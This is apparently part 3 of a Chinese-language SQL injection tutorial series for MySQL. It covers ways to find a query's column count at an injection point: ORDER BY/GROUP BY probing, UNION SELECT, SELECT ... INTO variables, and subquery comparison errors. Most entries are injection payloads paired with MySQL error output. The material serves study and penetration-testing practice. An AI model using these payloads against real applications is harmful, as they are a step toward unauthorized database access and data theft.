sql注入知識庫－mysql篇(3)

標籤：

上接sql注入知識庫－mysql篇(2)

表和欄位

一、檢測欄位數量

order by／group  by

group by / order by +1 ;

備忘：

order by 和 group by 都是用來根據欄位排序用的

保持數字持續增加，直到得到一個錯誤響應

儘管group by 和 order by 在sql中是不同的功能，他們都可以用完全相同的方式確認查詢的列數

examples：

Given the query SELECT username, password, permission FROM Users WHERE id = ‘{INJECTION POINT}‘;

1’ order by 1--+   true

還原一下 select username，password，permission from users where id = ‘1‘ order by 1 --+ 

從users表查詢id ＝ 1 的username , password permission 然後通過第一個欄位（username）按照升序排列

1’ order by 2--+   true

。。。。

1’ order by 4--+   false 說明該表總共有3列

1‘ union select 1,2,3  true

基於錯誤1

group by 或 order by 1,2,3,4,5 ......

類似上面提到的方法，我們可以通過一個請求查看顯錯模式是否啟動來判斷欄位數量

examples:

select * from student where id = 1 order by 1,2,3 ;  true

select * from student where id = 1 order by 1,2,3,4 ;  true

select * from student where id = 1 order by 1,2,3,4,5 ;  返回   ERROR 1054 (42S22): Unknown column ‘5‘ in ‘order clause‘

說明該表欄位只有4列

select * from student where id = 1 group by 1,2,3,4,5 ;  返回   ERROR 1054 (42S22): Unknown column ‘5‘ in ‘group statement‘

說明該表欄位只有4列

基於錯誤2

select  ... into var_list , var_list1 , var_list2 ....

1. 如果顯錯模式開啟，這個方法可以正常工作

2. 是一個實用的用於尋找欄位數量的方法，當注入點後面存在一個limit子句的時候。

examples:

Given the query SELECT permission FROM Users WHERE id = {INJECTION POINT};

-1 union select 1 into @,@,@  The used SELECT statements have a different number of columns

-1 union select 1 into @   如果不報錯說明查詢的資訊使用了一個

mysql> select name,id1 from student limit 1,1 into @;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select name,id1 from student limit 1,1 into @,@;
Query OK, 1 row affected (0.00 sec)

欄位

執行個體

mysql> select name from student where id = -1 union select 1 into @;    可以看到該查詢使用了name一個欄位，所以後面用select 1 into @就不會報錯
Query OK, 1 row affected (0.00 sec)

mysql> select name,id1 from student where id = -1 union select 1,2 into @,@;  這裡使用了name和id1兩個欄位，所以後面相應的要使用1，2 into @,@ 不會報錯
Query OK, 1 row affected (0.00 sec)

examples:

Given the query SELECT username, permission FROM Users limit 1,{INJECTION POINT};

1 into @,@,@    報錯 The used SELECT statements have a different number of columns

1 into @,@        無報錯說明查詢的欄位有2個

執行個體：

select name,id1 from student limit 1,1 into @;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
select name,id1 from student limit 1,1 into @,@;
Query OK, 1 row affected (0.00 sec)

 limit用法：

limit 開始位置，取幾條select name,id from student limit 0,1;  從student表中取出第一條資料select name,id from student limit 1,1;   從student表中取出第二條資料select name,id from student limit 0,3;  從student表中取出3條資料，從第一條開始取 

基於錯誤3

 AND (SELECT * FROM SOME_EXISTING_TABLE) = 1

備忘：

工作在你知道表名但是沒有啟用錯誤回顯的環境，它會返回欄位數量

example：

Given the query SELECT permission FROM Users WHERE id = {INJECTION POINT};

1 and (select * from student) = 1

執行個體：
select name,id from student where id = 1 and (select * from student) = 1;

ERROR 1241 (21000): Operand should contain 4 column(s)

select name,id from student where id = 1 and (select * from student) = 2;
ERROR 1241 (21000): Operand should contain 4 column(s)

sql注入知識庫－mysql篇(3)